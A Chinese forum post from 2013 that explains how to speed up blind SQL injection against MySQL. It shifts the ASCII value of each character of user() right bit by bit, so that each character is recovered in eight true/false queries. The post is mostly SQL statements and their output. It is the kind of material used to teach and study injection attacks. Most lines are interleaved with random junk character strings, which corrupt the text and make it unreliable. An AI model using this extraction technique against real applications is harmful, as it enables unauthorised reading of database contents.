找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2215|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
2 D8 U3 l) V( p8 W: m, o0 J, ^# u$ T7 F5 ?- z

' M4 m/ P. ^+ N9 }8 V  C2 @2 n& F" G! Y7 N
下面将以查询mysql数据库当中user()的第一位为例:
8 b5 I4 A1 C. I3 [( p8 c5 M
3 N) d2 `# _" J
, z7 M! R0 v$ X7 b, c8 f8 h* \, }1 P% Z) K  t
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
% w6 O) r" J8 B. L8 _' x, a; [& b8 s# }: S( k  Y! q4 y  R

- D  U' E- X0 Y& p& l
: U. [; A+ o# N首先执行如下sql语句:& ?- w8 U4 f6 B

+ D/ d- B6 q2 `/ `
$ T: K1 A) e2 b5 A& @' [! t$ P9 s* b& e2 _
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
8 D# }$ l1 s3 u& e+ b5 m# D
0 _, Q( ?$ p0 Y 8 B9 b8 Z7 `' @! Q+ R9 q
/ |3 [0 N! d: `% U/ a
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
1 K( p2 A) P/ t; @2 V7 o  l
) M* }% l% f3 o, Z5 b& w9 p
0 k2 j3 t; x. j; R( d* S
: M' h$ N7 I& Z第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1  ^/ V8 `0 o) Z9 F1 z: B( k7 f% r5 f
6 S4 Q- Z# c( \) g0 }  y

: O# ]1 u2 i4 e$ `# i$ x% @3 A* \3 v2 c2 p+ f9 Y
如果运算结果为1,说明第一位为0,不为1
5 T5 c. J1 {+ y( X1 J% W& A6 M

6 ~7 t  U* K* F6 |( T  p& W, p4 P3 n, n, o( }9 c+ y/ x3 I  i. a
+————————————–+. \4 J4 a* c3 ?- u( I& ^
0 P1 q+ f: M8 g8 g
| (ascii((substr(user(),1,1))) >> 7)=0 |
4 C) C# N: z& L! j; a* c
1 f  t, i( `, F& d3 J7 G2 ?; E+————————————–+, U5 T" p0 W. V: `# J

7 Z6 V( ]: ~6 L| 1 |7 O( n  H6 j4 B- r

) r  k2 B: _. |& ?7 o2 [0 r4 `+————————————–+
1 x- N+ i& Q. {& z
) `% q# S" |8 d9 |- b1 row in set (0.00 sec)2 D* a8 |# T7 M5 Z$ c

% O9 P2 j6 M  Q) f; c6 k2 {8 q这样我们就确定这个8bit的ascii的第一位为0$ p) q1 }1 l. v3 B# ~/ q, H
+ u+ H' @+ [/ v& ]

) z. V; S. q- K4 j* O. u/ j, {5 C  Y0 c
第二次我们来做6次右偏移来确定前两位
9 K, P8 h6 h, j( \4 a
0 D1 w5 v) }# W$ Q( r. D0 X
* q. P  s2 ^# s- f9 d6 ~9 l  v/ q4 z) A. c! i0 _' _1 U
前两位可能是01或00,即依然可以与0做比较,
; M" t  W# A6 _0 S! J; G3 o# \0 J$ u; a( x; Z" w; ~" V+ t8 b2 _
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;" M' s6 j! U. B
8 U! S0 t# u" X: V1 |
+————————————–+. h1 U2 o" B9 M1 c+ ]
: D  ~# r1 @7 m
| (ascii((substr(user(),1,1))) >> 6)=0 |
/ P9 A; {1 I9 B( o4 f) R8 d! l. k- T! I6 z; Z! f& j6 P
+————————————–+. y$ ~- C8 Z2 ~1 d6 D8 ^
$ B/ s7 y: e4 Y: z) }0 f4 C
| 0 |
+ _' }- P7 @( i; |
8 M+ A2 ]7 U0 K; |1 U* s4 Y+————————————–+
, T' P+ a' ?+ _1 ~7 v" r$ w; ~, P9 B9 ~- @2 @/ [9 c
1 row in set (0.00 sec)
  d5 t0 A5 F4 S' y& ^1 n! m  {1 N
: w- k$ T4 m7 ]; O# f' N# r7 }& c
! ]% h2 Z5 F2 q( h! ?6 x& N/ B4 a: C& X0 G, m
结果为0,即第二位为1; w" @& _! S* e& R! B' g  ]
3 B- ]2 m* P( a3 L

: e$ G' p  T: d# q
1 s3 M3 M* G/ r$ J0 q0 P! `" d/ I/ G开始猜测前三位为010或011/ H3 \  q: ]; T* ~+ g2 V

+ |  Z3 A4 j: T# |$ D7 m5 ^) a
% H0 Z7 _2 C2 L7 @3 E% e+ L
$ E' M& p4 d* {让我们看看010和011的ascii码是多少
5 ]5 ~; L! r4 h  j3 ^5 @- p' k$ k- i, ?

) {4 ^+ R, `) I$ A7 z: s; f
- x$ P7 r3 E& B) x" f分别查询select b’011′ select b’010′
& b8 i3 ]4 E& P: @% v$ t: O9 K% E. ]7 _9 C+ O# ?4 D: t9 Y" L
- J8 r+ |4 Z+ _
3 Q5 ^- d2 y5 Z, l* M, p! }0 F
获得结果 010 = 2 011 = 3! S* w, Z3 x8 v$ j$ |/ R
$ ?" B8 }6 A: f1 ~( [' X
1 g7 {/ L1 D* W
2 x1 t. F9 k9 R  W
执行如下sql:1 B. `( I7 Z4 ?/ N7 z- R, b0 d
  U8 o" X" P+ _# X
3 K* K9 ]4 J8 F
; q" j7 L- s) I5 [
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;7 A; d, W" c' y" e
& ^/ n6 X/ Q! _- ~
+————————————–+
- J/ a4 I8 c: B' [  [1 l+ n! p; v
# m3 d" m5 G! `, |6 N: F| (ascii((substr(user(),1,1))) >> 5)=2 |
4 I' E! I- N8 i' [; X. ]" X1 O- H+ }7 U4 D8 ]* b8 \7 W3 \
+————————————–+
( s3 r$ {' F( C
. R8 y2 Z+ @) m3 Z3 m  K' I| 0 |6 I1 ^) J% U& Z/ y1 p
0 X* H+ h6 V& i' Q; d, F
+————————————–+
5 {% A8 `2 S% U1 i2 x1 `6 f- e' B
0 U" B2 s- e, R! Y( g7 e0 Q, a% }即前三位不为010,而是0113 _0 O# N, J: k  T6 X, @
1 c( N2 [4 X# @# K* K! i

8 H+ {1 K( z9 o" t0 T
2 X! J2 F$ ?, K直到获得最后一位  e& k! N9 o) q( X4 p
& s, C, h4 D; [. W. s
1 y: P! K" w/ q1 J" Q! F
# Z2 O( ^' y) d9 s5 x) K
最终结果为:01110010
( E/ B! U5 h) O5 [5 L/ G8 J& `; c1 |" A

: v3 O) I  x/ R- k1 T' B% _9 B8 Y( c. v0 f0 p1 _( Y' b  f* D' t
转换一下:" j2 k: O6 V1 s- N1 S3 c; E; R  E
. f" m2 O$ z: C- P1 @! Q' h6 L
; A) C& h! X: f3 Q3 t  Q

. e6 y$ O, q  L& B! ~+ V& F4 \: O! ]select b’01110010′
3 y. e; C5 p9 f" l& b  |* v$ p( n2 [1 W8 j2 E, @6 ]: z$ z( S

; c) ]: |$ v+ y
" C3 f6 e$ A7 @1 r查询结果& E# m! E# z# `9 o0 v

: N. P* z+ c) `) t0 a
4 H/ y& r9 n4 M2 G, h
& z' ]* `3 S5 q+————-+
: [! u3 U5 a3 m$ U1 G8 B7 X1 r
& g- K( u/ C, S+ A* s; D5 ~| b’01110010′ |
6 k0 I8 ~( j. C  b3 R7 D' y: p  A7 m
+————-+9 [) J( u1 A: U7 h3 V. Z' D# R
% m$ _" D6 k0 q/ j, B- D
| r |
7 g# |) p. R. t3 n9 v# J. J( p1 I1 _- E/ W5 m- x
+————-+
9 ^: ]& c! ^* }! k% e  Y+ v4 g1 {# c- ~
1 row in set (0.00 sec)
8 `/ {/ M  |- l, }/ f+ Q+ R
& a% J- X/ c1 ]' R/ N: m4 L
; g7 a2 F2 I" Z% U3 x4 T
# b5 \9 U: j6 O- G' D4 |这样我们就获得了user()的第一位.其它位依此类推( s0 K: D% W% N! _( G* P( t  X
' U. w+ D0 a, N( s. Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表